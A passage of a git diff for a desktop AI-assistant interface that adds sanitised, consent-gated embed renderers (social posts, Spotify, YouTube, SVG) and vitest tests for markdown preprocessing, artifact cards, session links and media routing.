+/** Block wheel until ⌘/Ctrl so map embeds don't hijack transcript scroll. */
+export function ScrollGate() {
+  const [active, setActive] = useState(false)
+
+  useEffect(() => {
+    const sync = (event: KeyboardEvent) => setActive(event.metaKey || event.ctrlKey)
+    const clear = () => setActive(false)
+
+    window.addEventListener('keydown', sync)
+    window.addEventListener('keyup', sync)
+    window.addEventListener('blur', clear)
+
+    return () => {
+      window.removeEventListener('keydown', sync)
+      window.removeEventListener('keyup', sync)
+      window.removeEventListener('blur', clear)
+    }
+  }, [])
+
+  return (
+    <div className={cn('group/gate absolute inset-0', active ? 'pointer-events-none' : 'pointer-events-auto')}>
+      <span className="pointer-events-none absolute bottom-2 left-2 rounded-md bg-black/55 px-1.5 py-0.5 text-[0.625rem] font-medium text-white opacity-0 transition-opacity group-hover/embed:opacity-100">
+        Hold ⌘ to zoom
+      </span>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/social-embed.tsx b/ui-desktop/src/components/assistant-ui/embeds/social-embed.tsx
new file mode 100644
index 000000000..d1a5e4394
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/social-embed.tsx
@@ -0,0 +1,131 @@
+'use client'
+
+import { useEffect, useRef } from 'react'
+
+import { escapeHtml } from './escape-html'
+import type { EmbedDescriptor } from './providers/types'
+import { useIsDark } from './use-is-dark'
+
+// The provider embed scripts need a REAL origin to run (they touch
+// cookies/storage/postMessage), so — exactly like react-social-media-embed — we
+// render the official blockquote in this document and let the script swap it for
+// a correctly-sized iframe. A sandboxed srcDoc iframe gives a null origin and
+// the scripts silently bail (white / 2px). The container is height:auto, so it
+// grows to whatever the provider renders. No measuring, no forced height.
+type EmbedWindow = Window &
+  typeof globalThis & {
+    instgrm?: { Embeds?: { process?: () => void } }
+    twttr?: { widgets?: { load?: (el?: HTMLElement) => void } }
+  }
+
+const SCRIPT: Record<string, { id: string; src: string }> = {
+  instagram: { id: 'clawcodex-ig-embed', src: 'https://www.instagram.com/embed.js' },
+  tiktok: { id: 'clawcodex-tt-embed', src: 'https://www.tiktok.com/embed.js' },
+  twitter: { id: 'clawcodex-tw-embed', src: 'https://platform.twitter.com/widgets.js' }
+}
+
+const PROCESS_DELAYS_MS = [0, 300, 800, 1600, 3000]
+
+function markup(descriptor: EmbedDescriptor, theme: 'dark' | 'light'): string {
+  const url = escapeHtml(descriptor.sourceUrl)
+
+  switch (descriptor.provider) {
+    case 'instagram':
+      return `<blockquote class="instagram-media" data-instgrm-permalink="${url}" data-instgrm-version="14" style="margin:0;width:100%;min-width:0;max-width:100%"></blockquote>`
+    case 'tiktok': {
+      const id = escapeHtml(descriptor.id.replace(/^tiktok:/, ''))
+
+      return `<blockquote class="tiktok-embed" cite="${url}" data-video-id="${id}" style="margin:0;max-width:100%"><section></section></blockquote>`
+    }
+
+    case 'twitter':
+      // data-chrome="transparent" drops the card background so the themed page
+      // shows through instead of a white box.
+      return `<blockquote class="twitter-tweet" data-dnt="true" data-theme="${theme}" data-chrome="transparent"><a href="${url}"></a></blockquote>`
+
+    default:
+      return ''
+  }
+}
+
+function loadScript(provider: string): Promise<void> {
+  const { id, src } = SCRIPT[provider]
+
+  // TikTok exposes no re-process API; its script rescans the document each time
+  // it runs, so we re-inject it. The others are loaded once and reused.
+  if (provider === 'tiktok') {
+    document.getElementById(id)?.remove()
+  } else if (document.getElementById(id)) {
+    return Promise.resolve()
+  }
+
+  return new Promise(resolve => {
+    const script = document.createElement('script')
+
+    script.async = true
+    script.id = id
+    script.onload = () => resolve()
+    script.onerror = () => resolve()
+    script.src = src
+    document.body.appendChild(script)
+  })
+}
+
+function processEmbed(provider: string, container: HTMLElement): void {
+  const win = window as EmbedWindow
+
+  if (provider === 'instagram') {
+    win.instgrm?.Embeds?.process?.()
+  } else if (provider === 'twitter') {
+    win.twttr?.widgets?.load?.(container)
+  }
+  // TikTok auto-scans on (re)injection — no manual process call.
+}
+
+export default function SocialEmbedRenderer({ descriptor }: { descriptor: EmbedDescriptor }) {
+  const isDark = useIsDark()
+  const ref = useRef<HTMLDivElement | null>(null)
+
+  useEffect(() => {
+    const container = ref.current
+
+    if (!container) {
+      return
+    }
+
+    let cancelled = false
+    const timers: number[] = []
+
+    container.innerHTML = markup(descriptor, isDark ? 'dark' : 'light')
+
+    void loadScript(descriptor.provider).then(() => {
+      // The script renders asynchronously; nudge a few times so the embed
+      // settles whether the script was cached or freshly fetched.
+      for (const delay of PROCESS_DELAYS_MS) {
+        timers.push(window.setTimeout(() => !cancelled && processEmbed(descriptor.provider, container), delay))
+      }
+    })
+
+    return () => {
+      cancelled = true
+
+      for (const timer of timers) {
+        clearTimeout(timer)
+      }
+
+      container.innerHTML = ''
+    }
+  }, [descriptor, isDark])
+
+  // The white corner/box on tweets is a color-scheme MISMATCH: when the iframe's
+  // resolved scheme differs from ours, the browser paints an opaque (white)
+  // Canvas behind it. Twitter's embed resolves to `light`, so we force the iframe
+  // to `light` to match — no mismatch, no Canvas — and data-chrome=transparent
+  // then lets the dark page show through. (Confirmed: mkdocs-material #6889.)
+  return (
+    <div
+      className="w-full [&_.instagram-media]:!min-w-0 [&_iframe]:!m-0 [&_iframe]:!max-w-full [&_iframe]:[color-scheme:light]"
+      ref={ref}
+    />
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/spotify-embed.tsx b/ui-desktop/src/components/assistant-ui/embeds/spotify-embed.tsx
new file mode 100644
index 000000000..3c722f1b3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/spotify-embed.tsx
@@ -0,0 +1,45 @@
+'use client'
+
+import { type CSSProperties, useMemo } from 'react'
+
+import type { FrameEmbed } from './providers/types'
+import { useIsDark } from './use-is-dark'
+
+const ALLOW = 'autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture'
+
+// Spotify paints a white backdrop behind its card; theme=0 gives the dark
+// player and the card wrapper's overflow-hidden clips the corners.
+function spotifySrc(embedUrl: string, isDark: boolean): string {
+  const url = new URL(embedUrl)
+
+  url.searchParams.set('utm_source', 'generator')
+
+  if (isDark) {
+    url.searchParams.set('theme', '0')
+  }
+
+  return url.toString()
+}
+
+export default function SpotifyEmbedRenderer({ descriptor }: { descriptor: FrameEmbed }) {
+  const isDark = useIsDark()
+  const src = useMemo(() => spotifySrc(descriptor.embedUrl, isDark), [descriptor.embedUrl, isDark])
+
+  // Match the iframe's own (light) scheme — a `dark` mismatch makes the browser
+  // paint an opaque white Canvas behind it. theme=0 still gives the dark player.
+  const style: CSSProperties = {
+    colorScheme: 'light',
+    height: descriptor.height
+  }
+
+  return (
+    <iframe
+      allow={ALLOW}
+      className="block w-full border-0 bg-transparent"
+      loading="lazy"
+      src={src}
+      style={style}
+      title="Spotify embed"
+    />
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/svg-embed.tsx b/ui-desktop/src/components/assistant-ui/embeds/svg-embed.tsx
new file mode 100644
index 000000000..99b75029d
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/svg-embed.tsx
@@ -0,0 +1,32 @@
+'use client'
+
+import DOMPurify from 'dompurify'
+import { useMemo } from 'react'
+
+import type { RichFenceProps } from './types'
+
+// Lazy chunk (pulls in DOMPurify). Renders a ```svg fence as an image after
+// hard-sanitising it: the svg profile strips scripts, event handlers, and
+// foreignObject, so untrusted model output can't execute.
+export default function SvgRenderer({ code }: RichFenceProps) {
+  const clean = useMemo(
+    () =>
+      DOMPurify.sanitize(code, {
+        USE_PROFILES: { svg: true, svgFilters: true }
+      }),
+    [code]
+  )
+
+  if (!clean.trim()) {
+    return null
+  }
+
+  // Left-aligned, capped on both axes so a large intrinsic SVG scales down
+  // (preserving ratio) instead of filling the column or centering.
+  return (
+    <div
+      className="my-2 [&_svg]:block [&_svg]:h-auto [&_svg]:w-auto [&_svg]:max-h-[33dvh] [&_svg]:max-w-full"
+      dangerouslySetInnerHTML={{ __html: clean }}
+    />
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/types.ts b/ui-desktop/src/components/assistant-ui/embeds/types.ts
new file mode 100644
index 000000000..7457bcd9e
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/types.ts
@@ -0,0 +1,8 @@
+// Shared prop contract for fenced-block renderers (mermaid, svg). Kept in its
+// own module so renderers and the registry can both import it without a cycle.
+export interface RichFenceProps {
+  code: string
+  /** True while the surrounding message is still streaming. Renderers that can
+   *  throw on partial input (e.g. mermaid) defer until this is false. */
+  streaming?: boolean
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/url-embed.tsx b/ui-desktop/src/components/assistant-ui/embeds/url-embed.tsx
new file mode 100644
index 000000000..1560c3f11
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/url-embed.tsx
@@ -0,0 +1,84 @@
+'use client'
+
+import { useStore } from '@nanostores/react'
+import { type CSSProperties, lazy, Suspense, useState } from 'react'
+
+import { PrettyLink } from '@/lib/external-link'
+import { $embedAllowed, $embedMode } from '@/store/embed-consent'
+
+import { EmbedFacade } from './embed-consent'
+import { EMBED_MAX_H } from './embed-size'
+import { EmbedFail } from './fail'
+import type { EmbedDescriptor } from './providers/types'
+import { RichBoundary } from './rich-boundary'
+
+const FrameEmbedRenderer = lazy(() => import('./frame-embed'))
+const SocialEmbedRenderer = lazy(() => import('./social-embed'))
+const SpotifyEmbedRenderer = lazy(() => import('./spotify-embed'))
+const YouTubeEmbedRenderer = lazy(() => import('./youtube-embed'))
+
+function intrinsicHeight(descriptor: EmbedDescriptor): number {
+  if (descriptor.aspectRatio) {
+    return Math.round((descriptor.maxWidth ?? 640) / descriptor.aspectRatio)
+  }
+
+  return descriptor.height ?? 320
+}
+
+function LazyRenderer({ descriptor }: { descriptor: EmbedDescriptor }) {
+  // X and Instagram load their official blockquote script in-document. The tweet
+  // check also narrows the union to FrameEmbed for the iframe renderers below.
+  if (descriptor.renderer === 'tweet' || descriptor.provider === 'instagram') {
+    return <SocialEmbedRenderer descriptor={descriptor} />
+  }
+
+  if (descriptor.provider === 'youtube') {
+    return <YouTubeEmbedRenderer descriptor={descriptor} />
+  }
+
+  if (descriptor.provider === 'spotify') {
+    return <SpotifyEmbedRenderer descriptor={descriptor} />
+  }
+
+  return <FrameEmbedRenderer descriptor={descriptor} />
+}
+
+export function UrlEmbed({ descriptor }: { descriptor: EmbedDescriptor }) {
+  const mode = useStore($embedMode)
+  const allowed = useStore($embedAllowed)
+  const [loaded, setLoaded] = useState(false)
+
+  // Privacy gate: don't reach out to the provider until consented. `off` keeps
+  // it a plain link; otherwise the placeholder shows until "Load" (this embed)
+  // or "Always allow" / global `always` permits the fetch.
+  if (mode === 'off') {
+    return <PrettyLink className="wrap-anywhere" href={descriptor.sourceUrl} />
+  }
+
+  const consented = mode === 'always' || loaded || allowed.includes(descriptor.provider)
+  const aspect = descriptor.aspectRatio
+
+  // Ratio embeds cap WIDTH off the ratio so height tops out at the cap while
+  // scaling. Non-ratio embeds own their own height (measured / fixed).
+  const style: CSSProperties = {
+    containIntrinsicSize: `auto ${intrinsicHeight(descriptor)}px`,
+    contentVisibility: 'auto',
+    ...(aspect
+      ? { width: `min(${descriptor.maxWidth ?? 640}px, 100%, calc(${EMBED_MAX_H} * ${aspect}))` }
+      : { width: descriptor.maxWidth ? `min(${descriptor.maxWidth}px, 100%)` : '100%' })
+  }
+
+  return (
+    <span className="group/embed my-2 block overflow-hidden rounded-lg" data-slot="aui_embed-card" style={style}>
+      <RichBoundary fallback={<EmbedFail label={descriptor.label} />} resetKey={descriptor.id}>
+        {consented ? (
+          <Suspense fallback={null}>
+            <LazyRenderer descriptor={descriptor} />
+          </Suspense>
+        ) : (
+          <EmbedFacade descriptor={descriptor} onLoad={() => setLoaded(true)} />
+        )}
+      </RichBoundary>
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/use-is-dark.ts b/ui-desktop/src/components/assistant-ui/embeds/use-is-dark.ts
new file mode 100644
index 000000000..f136439e3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/use-is-dark.ts
@@ -0,0 +1,18 @@
+import { useEffect, useState } from 'react'
+
+import { useThemeEpoch } from '@/hooks/use-theme-epoch'
+
+const isDarkNow = () => typeof document !== 'undefined' && document.documentElement.classList.contains('dark')
+
+// Tracks the app's dark/light mode off the `dark` class on <html> (set by
+// themes/context.tsx). Embeds that theme their own content (tweets) read this.
+// Rides the shared theme-repaint observer; setState bails on an unchanged
+// boolean, so style-only repaints don't re-render.
+export function useIsDark(): boolean {
+  const epoch = useThemeEpoch()
+  const [dark, setDark] = useState(isDarkNow)
+
+  useEffect(() => setDark(isDarkNow()), [epoch])
+
+  return dark
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/youtube-embed.tsx b/ui-desktop/src/components/assistant-ui/embeds/youtube-embed.tsx
new file mode 100644
index 000000000..72eef2e10
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/youtube-embed.tsx
@@ -0,0 +1,47 @@
+'use client'
+
+import { useMemo } from 'react'
+
+import type { FrameEmbed } from './providers/types'
+import { useIsDark } from './use-is-dark'
+
+const YOUTUBE_ALLOW =
+  'accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen'
+
+function youtubeSrc(embedUrl: string): string {
+  const url = new URL(embedUrl)
+
+  // Only pass origin when it is an HTTP(S) origin; custom schemes (app://,
+  // file://) can make the player reject otherwise embeddable videos.
+  if (
+    typeof window !== 'undefined' &&
+    (window.location.protocol === 'http:' || window.location.protocol === 'https:') &&
+    window.location.origin &&
+    window.location.origin !== 'null'
+  ) {
+    url.searchParams.set('origin', window.location.origin)
+  }
+
+  return url.toString()
+}
+
+// Keep this as a plain iframe and let YouTube render its native player/error UI.
+export default function YouTubeEmbedRenderer({ descriptor }: { descriptor: FrameEmbed }) {
+  const isDark = useIsDark()
+  const src = useMemo(() => youtubeSrc(descriptor.embedUrl), [descriptor.embedUrl])
+
+  // Width is capped to the ratio by UrlEmbed, so aspect-video sizes height ≤ cap.
+  return (
+    <iframe
+      allow={YOUTUBE_ALLOW}
+      allowFullScreen
+      className="block aspect-video w-full border-0 bg-transparent"
+      loading="lazy"
+      referrerPolicy="strict-origin-when-cross-origin"
+      scrolling="no"
+      src={src}
+      style={{ colorScheme: isDark ? 'dark' : 'light' }}
+      title="YouTube embed"
+    />
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/markdown-text.artifacts.test.tsx b/ui-desktop/src/components/assistant-ui/markdown-text.artifacts.test.tsx
new file mode 100644
index 000000000..89fc0b61c
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/markdown-text.artifacts.test.tsx
@@ -0,0 +1,75 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { artifactsForSession, clearArtifactRegistry } from '@/store/artifacts'
+import { $previewTabs } from '@/store/preview'
+import { $activeSessionId, $selectedStoredSessionId } from '@/store/session'
+
+import { MarkdownTextContent } from './markdown-text'
+
+const HTML_DOC = `<!doctype html>
+<html>
+<head><title>Pomodoro Timer</title></head>
+<body>
+<h1>Pomodoro</h1>
+<p>A tiny focus timer that counts down twenty-five minutes.</p>
+<script>let seconds = 25 * 60; setInterval(() => { seconds -= 1 }, 1000)</script>
+</body>
+</html>`
+
+const SMALL_SNIPPET = 'const x = 1'
+
+function fenced(language: string, body: string): string {
+  return `Here you go:\n\n\`\`\`${language}\n${body}\n\`\`\`\n`
+}
+
+// End-to-end for the artifact path: a substantial ```html fence in assistant
+// markdown must come out of preprocessMarkdown -> Streamdown -> SyntaxHighlighter
+// as an artifact card (registered in the store), while small fences keep the
+// plain code-card path.
+describe('MarkdownTextContent artifacts', () => {
+  beforeEach(() => {
+    $activeSessionId.set('session-artifacts')
+    $selectedStoredSessionId.set(null)
+    window.localStorage.clear()
+    clearArtifactRegistry()
+  })
+
+  afterEach(() => {
+    cleanup()
+    $activeSessionId.set(null)
+    $selectedStoredSessionId.set(null)
+    clearArtifactRegistry()
+    window.localStorage.clear()
+  })
+
+  it('renders a substantial html fence as an artifact card and registers it', async () => {
+    render(<MarkdownTextContent isRunning={false} text={fenced('html', HTML_DOC)} />)
+
+    const card = await screen.findByText('Pomodoro Timer')
+
+    expect(card.closest('button')?.dataset.slot).toBe('aui_artifact-card')
+    expect(artifactsForSession('session-artifacts')).toHaveLength(1)
+    expect(artifactsForSession('session-artifacts')[0]?.kind).toBe('html')
+    // Registration alone must not open the rail (offer, don't hijack).
+    expect($previewTabs.get()).toHaveLength(0)
+  })
+
+  it('keeps a small fence as a plain code block', async () => {
+    const { container } = render(<MarkdownTextContent isRunning={false} text={fenced('js', SMALL_SNIPPET)} />)
+
+    // The code card mounts synchronously; Shiki may split tokens into spans,
+    // so assert on the card slots rather than text content.
+    expect(container.querySelector('[data-slot="code-card"]')).not.toBeNull()
+    expect(container.querySelector('[data-slot="aui_artifact-card"]')).toBeNull()
+    expect(artifactsForSession('session-artifacts')).toHaveLength(0)
+  })
+
+  it('does not register while the message is still streaming', async () => {
+    render(<MarkdownTextContent isRunning text={fenced('html', HTML_DOC)} />)
+
+    await screen.findByText('Pomodoro Timer')
+
+    expect(artifactsForSession('session-artifacts')).toHaveLength(0)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/markdown-text.media.test.tsx b/ui-desktop/src/components/assistant-ui/markdown-text.media.test.tsx
new file mode 100644
index 000000000..aaca8b48f
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/markdown-text.media.test.tsx
@@ -0,0 +1,81 @@
+import { cleanup, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $connection } from '@/store/session'
+
+import { MarkdownImage, MarkdownTextContent } from './markdown-text'
+
+const REMOTE_IMAGE_PATH = '/home/user/project/images/remote-preview.png'
+const REMOTE_IMAGE_DATA_URL = 'data:image/png;base64,cmVtb3RlLWltYWdl'
+
+describe('MarkdownTextContent remote images', () => {
+  const api = vi.fn(async ({ path }: { path: string }) => {
+    if (path.startsWith('/api/fs/read-data-url?')) {
+      return { dataUrl: REMOTE_IMAGE_DATA_URL }
+    }
+
+    throw new Error(`unexpected path ${path}`)
+  })
+
+  let originalDesktop: typeof window.clawcodexDesktop
+
+  beforeEach(() => {
+    api.mockClear()
+    originalDesktop = window.clawcodexDesktop
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { api }
+    })
+    $connection.set({ mode: 'remote', profile: 'remote-work' } as never)
+  })
+
+  afterEach(() => {
+    cleanup()
+    $connection.set(null)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: originalDesktop
+    })
+  })
+
+  it('passes the gateway bridge data URL through Streamdown to the zoomable image', async () => {
+    render(<MarkdownTextContent isRunning={false} text={`![Remote preview](${REMOTE_IMAGE_PATH})`} />)
+
+    const image = await screen.findByRole('img', { name: 'Remote preview' })
+
+    expect(image.getAttribute('src')).toBe(REMOTE_IMAGE_DATA_URL)
+    expect(api).toHaveBeenCalledWith({
+      path: '/api/fs/read-data-url?path=%2Fhome%2Fuser%2Fproject%2Fimages%2Fremote-preview.png',
+      profile: 'remote-work'
+    })
+  })
+})
+
+// Regression for #40896: generated media often arrives as image markdown
+// (`![clip](clip.mp4)`). A raw <img> with a video/audio source paints a
+// broken-image icon even though the file is valid, so MarkdownImage must route
+// video/audio sources to the proper <video>/<audio> element.
+describe('MarkdownImage media routing', () => {
+  afterEach(cleanup)
+
+  it('renders a <video> (not a broken <img>) for a video source', async () => {
+    const { container } = render(<MarkdownImage alt="clip" src="file:///tmp/clip.mp4" />)
+
+    await waitFor(() => expect(container.querySelector('video')).not.toBeNull())
+    expect(container.querySelector('img')).toBeNull()
+  })
+
+  it('renders an <audio> element for an audio source', async () => {
+    const { container } = render(<MarkdownImage alt="note" src="file:///tmp/note.mp3" />)
+
+    await waitFor(() => expect(container.querySelector('audio')).not.toBeNull())
+    expect(container.querySelector('img')).toBeNull()
+  })
+
+  it('still renders an <img> for an image source', () => {
+    const { container } = render(<MarkdownImage alt="pic" src="file:///tmp/pic.png" />)
+
+    expect(container.querySelector('video')).toBeNull()
+    expect(container.querySelector('audio')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/markdown-text.session.test.tsx b/ui-desktop/src/components/assistant-ui/markdown-text.session.test.tsx
new file mode 100644
index 000000000..d87b8d584
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/markdown-text.session.test.tsx
@@ -0,0 +1,66 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { __resetSessionLinkTitleCache } from '@/lib/session-link-title'
+import { $sessions } from '@/store/session'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { MarkdownTextContent } from './markdown-text'
+
+function makeSession(overrides: Partial<SessionInfo> = {}): SessionInfo {
+  return {
+    ended_at: null,
+    id: '20260101_abc123',
+    input_tokens: 0,
+    is_active: false,
+    last_active: 1_000,
+    message_count: 1,
+    model: null,
+    output_tokens: 0,
+    preview: null,
+    profile: 'work',
+    source: 'cli',
+    started_at: 1_000,
+    title: 'Branch plan',
+    tool_call_count: 0,
+    ...overrides
+  }
+}
+
+afterEach(() => {
+  cleanup()
+  $sessions.set([])
+  __resetSessionLinkTitleCache()
+})
+
+// End-to-end for the agent-authored path: a bare ref in assistant markdown has
+// to survive preprocessMarkdown -> Streamdown -> MarkdownLink and come out as
+// an inline link titled after the session, not as literal text.
+describe('MarkdownTextContent session refs', () => {
+  it('renders an agent-written @session ref as a link showing the session title', async () => {
+    $sessions.set([makeSession()])
+
+    render(<MarkdownTextContent isRunning={false} text="Context lives in @session:work/20260101_abc123 today." />)
+
+    const link = await screen.findByTitle('work/20260101_abc123')
+
+    expect(link.tagName).toBe('A')
+    expect(link.textContent).toBe('Branch plan')
+    expect(screen.queryByText(/@session:/)).toBeNull()
+  })
+
+  it('falls back to a short id when the session is unknown', async () => {
+    render(<MarkdownTextContent isRunning={false} text="See @session:work/20260101_abc123 for context." />)
+
+    const link = await screen.findByTitle('work/20260101_abc123')
+
+    expect(link.textContent).toBe('20260101…')
+  })
+
+  it('leaves a ref inside inline code as literal text', () => {
+    render(<MarkdownTextContent isRunning={false} text="Write `@session:work/20260101_abc123` to link a chat." />)
+
+    expect(screen.getByText('@session:work/20260101_abc123')).toBeTruthy()
+    expect(screen.queryByTitle('work/20260101_abc123')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/markdown-text.test.ts b/ui-desktop/src/components/assistant-ui/markdown-text.test.ts
new file mode 100644
index 000000000..7e80d9736
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/markdown-text.test.ts
@@ -0,0 +1,309 @@
+import { describe, expect, it } from 'vitest'
+
+import { preprocessMarkdown } from '@/lib/markdown-preprocess'
+
+describe('preprocessMarkdown', () => {
+  it('strips inline accidental triple-backtick starts', () => {
+    const input = [
+      'Working as intended.',
+      "Here's your scene: ``` http://localhost:8812/",
+      '',
+      '- **Multicolored cube**',
+      '- **Rotates**'
+    ].join('\n')
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).not.toContain('```')
+    expect(output).toContain("Here's your scene:")
+    expect(output).not.toContain('http://localhost:8812/')
+    expect(output).toContain('- **Multicolored cube**')
+  })
+
+  it('demotes invalid fenced prose blocks with closers', () => {
+    const fence = '```'
+
+    const input = [
+      `${fence} http://localhost:8812/`,
+      '- **Scroll wheel** - zoom',
+      '- **Right-drag/pan** - disabled',
+      fence
+    ].join('\n')
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).not.toContain('```')
+    expect(output).not.toContain('http://localhost:8812/')
+    expect(output).toContain('- **Scroll wheel** - zoom')
+  })
+
+  it('drops fences around a preview-only URL block', () => {
+    const fence = '```'
+    const input = ['Server is back.', '', fence, 'http://localhost:8812/', fence].join('\n')
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).toContain('Server is back.')
+    expect(output).not.toContain('```')
+    expect(output).not.toContain('http://localhost:8812/')
+  })
+
+  it('demotes prose sentence masquerading as fence info', () => {
+    const input = ['```Heads up - a bunny got added', '- Pure white (`#ffffff`)', '- Ambient dropped to 0.18'].join(
+      '\n'
+    )
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).not.toContain('```heads')
+    expect(output).toContain('Heads up - a bunny got added')
+    expect(output).toContain('- Pure white (`#ffffff`)')
+  })
+
+  it('keeps valid code fences intact', () => {
+    const fence = '```'
+    const input = [`${fence}ts`, 'const value = 1;', fence].join('\n')
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).toContain('```ts')
+    expect(output).toContain('const value = 1;')
+  })
+
+  it('keeps dangling real code fences during streaming', () => {
+    const input = ['```ts', 'const value = 1;'].join('\n')
+    const output = preprocessMarkdown(input)
+
+    expect(output.startsWith('```ts')).toBe(true)
+    expect(output).toContain('const value = 1;')
+  })
+
+  it('demotes dangling prose fences', () => {
+    const input = ['```', '- Pure white (`#ffffff`)', '- Ambient dropped to 0.18'].join('\n')
+    const output = preprocessMarkdown(input)
+
+    expect(output).not.toContain('```')
+    expect(output).toContain('- Pure white (`#ffffff`)')
+  })
+
+  it('autolinks raw urls in prose', () => {
+    const output = preprocessMarkdown(
+      'Book here:\nhttps://www.getyourguide.com/culebra-island-l145468/from-fajardo-tour-t19894/'
+    )
+
+    expect(output).toContain('<https://www.getyourguide.com/culebra-island-l145468/from-fajardo-tour-t19894/>')
+  })
+
+  it('strips orphan numeric citation markers outside code spans', () => {
+    const output = preprocessMarkdown('This is the source[0], but keep `items[0]` untouched.')
+
+    expect(output).toContain('source,')
+    expect(output).not.toContain('source[0]')
+    expect(output).toContain('`items[0]`')
+  })
+
+  it('demotes title/url blocks wrapped in malformed inline fences', () => {
+    const input = [
+      '**🚢 TOMORROW (Fajardo, crystal clear cays, pickup avail):**',
+      '',
+      'Icacos Full-Day Catamaran — 6hr, $140, small group, pickup```',
+      'https://www.getyourguide.com/fajardo-l882/from-fajardo-icacos-island-full-day-catamaran-trip-t19891/',
+      '```Sail Getaway Luxury Cat (Cordillera Cays, water slide, unlimited rum) — 6hr, $195```',
+      'https://www.getyourguide.com/fajardo-l882/icacos-all-inclusive-sailing-catamaran-beach-and-snorkel-t466138/'
+    ].join('\n')
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).not.toContain('```')
+    expect(output).toContain('Sail Getaway Luxury Cat')
+    expect(output).toContain(
+      '<https://www.getyourguide.com/fajardo-l882/from-fajardo-icacos-island-full-day-catamaran-trip-t19891/>'
+    )
+    expect(output).toContain(
+      '<https://www.getyourguide.com/fajardo-l882/icacos-all-inclusive-sailing-catamaran-beach-and-snorkel-t466138/>'
+    )
+  })
+
+  it('autolinks urls glued to prices and removes orphan fence tails', () => {
+    const input = [
+      '**🐢 TODAY (from San Juan, no driving):**',
+      '',
+      'Sea Turtles & Manatees Snorkel + Free Rum — 1.5hr,',
+      '~$56```https://www.getyourguide.com/san-juan-puerto-rico-l355/san-juan-snorkel-sea-turtles-manatees-free-video-rum-t879147/ Old San Juan Sunset Cruise w/ Drinks + Hotel Pickup — 1.5hr, ~$99 (drinks, no snorkel)```',
+      'https://www.getyourguide.com/en-gb/san-juan-puerto-rico-l355/san-juan-old-san-juan-sunset-cruise-with-drinks-transfer-t405191/'
+    ].join('\n')
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).not.toContain('```')
+    // Currency dollar amounts get escaped to `\$` in the preprocessor
+    // so they don't get parsed as math delimiters by remark-math (we
+    // enable singleDollarTextMath, which would otherwise greedy-match
+    // `$56...$99` as one big inline math span). The escape is invisible
+    // to the user — `\$` renders as a literal `$` in the final output.
+    expect(output).toContain(
+      '~\\$56<https://www.getyourguide.com/san-juan-puerto-rico-l355/san-juan-snorkel-sea-turtles-manatees-free-video-rum-t879147/> Old San Juan Sunset Cruise'
+    )
+    expect(output).toContain(
+      '<https://www.getyourguide.com/en-gb/san-juan-puerto-rico-l355/san-juan-old-san-juan-sunset-cruise-with-drinks-transfer-t405191/>'
+    )
+  })
+
+  it('demotes url-only fenced blocks to clickable markdown links', () => {
+    const input = [
+      'Sea Turtles & Manatees Snorkel + Free Rum — 1.5hr, ~$56',
+      '```',
+      'https://www.getyourguide.com/san-juan-puerto-rico-l355/san-juan-snorkel-sea-turtles-manatees-free-video-rum-t879147/',
+      '```',
+      '',
+      'Old San Juan Sunset Cruise w/ Drinks + Hotel Pickup — 1.5hr, ~$99',
+      '```',
+      'https://www.getyourguide.com/en-gb/san-juan-puerto-rico-l355/san-juan-old-san-juan-sunset-cruise-with-drinks-transfer-t405191/',
+      '```'
+    ].join('\n')
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).not.toContain('```')
+    expect(output).toContain(
+      '<https://www.getyourguide.com/san-juan-puerto-rico-l355/san-juan-snorkel-sea-turtles-manatees-free-video-rum-t879147/>'
+    )
+    expect(output).toContain(
+      '<https://www.getyourguide.com/en-gb/san-juan-puerto-rico-l355/san-juan-old-san-juan-sunset-cruise-with-drinks-transfer-t405191/>'
+    )
+  })
+
+  it('does not swallow trailing emphasis asterisks into an autolinked url', () => {
+    const input = '**PR opened: https://github.com/agentforce314/clawcodex/pull/12345**'
+
+    const output = preprocessMarkdown(input)
+
+    // The URL is autolinked WITHOUT the trailing `**` glued into the href,
+    // and the bold emphasis run stays intact so it renders as bold + a link.
+    expect(output).toContain('<https://github.com/agentforce314/clawcodex/pull/12345>')
+    expect(output).not.toContain('pull/12345**>')
+    expect(output).not.toContain('12345*')
+  })
+
+  it('stops an autolinked url at mid-string bold markers', () => {
